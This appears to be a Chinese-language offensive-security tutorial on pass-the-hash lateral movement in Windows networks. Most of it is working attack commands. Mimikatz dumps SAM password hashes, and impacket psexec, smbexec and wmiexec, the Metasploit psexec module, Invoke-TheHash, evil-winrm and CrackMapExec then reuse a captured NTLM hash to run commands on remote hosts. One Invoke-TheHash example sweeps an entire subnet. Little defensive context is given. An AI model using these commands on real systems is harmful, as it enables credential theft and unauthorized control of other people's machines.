本文来自“白帽子社区知识星球”
随着攻防演练的频繁和⼈们安全意识的提升,企业内部Windows主机的⼝令也设置的较为复杂,经 常拿到windows 服务器的时候,获取到了hash,但是⽆法解密出密码的情况,这时候就需要⽤到内⽹ hash 传递技术。使⽤该⽅法,攻击者不需要花费时间来怼hash进⾏爆破,常常适⽤于域/⼯作组等环境中。
Windows server 2012 ⾸先需要获取ntml hash,由于直接从内存读取到的可能是密码修改之前的hash,这⾥推荐从sam⽂件中读取
mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam""exit"
这⾥获取到的是:47bf8039a8506cd67c524a03ff84ba4e
对于⼀些远程命令的执⾏⽅式和依赖端⼝
IPC$+AT 445
PSEXEC 445
WMI 135
Winrm 5985(HTTP) 5986(HTTPS)
135 端⼝wmi 哈希传递
wmi (Windows management Instrumentation) 即 windows 管理⼯具,windows 98 之后的操作 系统都⽀持wmi,默认开启,且windows 默认不会将wmi 的操作记录到⽇志。wmi 并不⽀持直接执⾏命令,但可以执⾏⽂件,通过增加执⾏程序参数的⽅式执⾏命令的效果;但 是wmi 是不⽀持返回的,执⾏完之后并不能看到回显
有些⼯具的原理是wmi 创建进程执⾏命令,然后将结果输出到⽂件,这个⽂件位于创建的共享⽂件 夹中,然后通过FSO组件访问远程共享⽂件夹中的结果,将⽂件进⾏输出。读取完成后,执⾏wmi 命令删除⽂件,然后退出删除⽂件共享。其中常⽤的⼯具是impacket 中的wimiexec 利⽤⽅式如下,此时的135 和445 端⼝都开放
若遇到只开放135的情况,可以增加nooutput 参数,不进⾏输出
成功执⾏了whoami 命令
另外,还可通过wmicmd.exe 进⾏利⽤;WMICMD的执⾏过程是吧结果写⼊倒注册表,之后读 取完注册表之后并删除,然后回显到本地,由于wmi 可以远程操作注册表的信息,查询的注册表 信息会产⽣回显
https://github.com/nccgroup/WMIcmd
445 端⼝ SMB hash 传递445 端⼝ SMB hash 传递
利⽤Windows 的smb服务⾸先需要建⽴ipc,可以使⽤hash 传递来进⾏攻击,需要⽬标防⽕ 墙允许445 端⼝的通过。PsExec 是⼀种轻型 telnet-replacement,可⽤于在其他系统上执⾏进 程,⽆需⼿动安装客户端软件即可完成 控制台应⽤程序的完整交互性。
Impacket
利⽤impacket 中的psexec 程序,命令如下:
python3 psexec.py -hashes 0:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61
利⽤impacket 中的smbexec 程序,命令如下
python3 smbexec.py -hashes
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e
Administrator@192.168.31.61
利⽤msf
利⽤msf 进⾏pth
use exploit/windows/smb/psexec
set rhosts 192.168.31.194
set smbuser administrator
set smbpass
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e
脚本地址:
https://github.com/Kevin-Robertson/Invoke-TheHash
本地加载powershell脚本:
powershell -exec bypass
SET-EXECUTIONPOL
ICY REMOTESIGNED
Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
# 利⽤已知的hash 对内⽹主机进⾏批量,域环境
Invoke-TheHash -Type WMIExec -Target 192.168.31.1/24 -Domain qq -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e
# 利⽤已知的hash 对内⽹主机进⾏批量,⼯作组环境
Invoke-TheHash -Type WMIExec -Target 192.168.31.124 -Username
administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即⼀种基于标准简单对象访问协 议[SOAP]的 “防⽕墙友好” 协议,它让来⾃不同供应商的硬件和操作系统能够互相操作。winRM的默认端⼝为 5985(http)或5986(https)。winRM横向移动同时适⽤于⼯作组和域环境。
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防⽕墙影响的协议,允许不同供应商的硬件和操 作系统相互操作。⽽微软将其包含在他们的系统中,是为了便于系统管理员在⽇常⼯作中,远程管 理服务器,或通过脚本同时管理多台服务器,以提⾼他们的⼯作效率。
在kali进⾏安装
gem install evil-winrm
执⾏以下命令
evil-winrm -i 192.168.31.194 -u Administrator -H
47bf8039a8506cd67c524a03ff84ba4e
另外⼀款⼯具就是CrackMapExec, 安装⽅式
#~ apt-get install -y libssl-dev libkrb5-dev libffi-dev python-dev
build-essential
#~ git clone https://github.com/Porchetta-Industries/CrackMapExec
#~ cd CrackMapExec
#~ poetry install
#~ poetry run crackmapexec
使⽤⽅式
poetry run crackmapexec winrm 192.168.31.194 -u admin -H
00000000000000000000000000000000:47bf8039a8506cd67c524a03ff84ba4e -x
whoami
热文推荐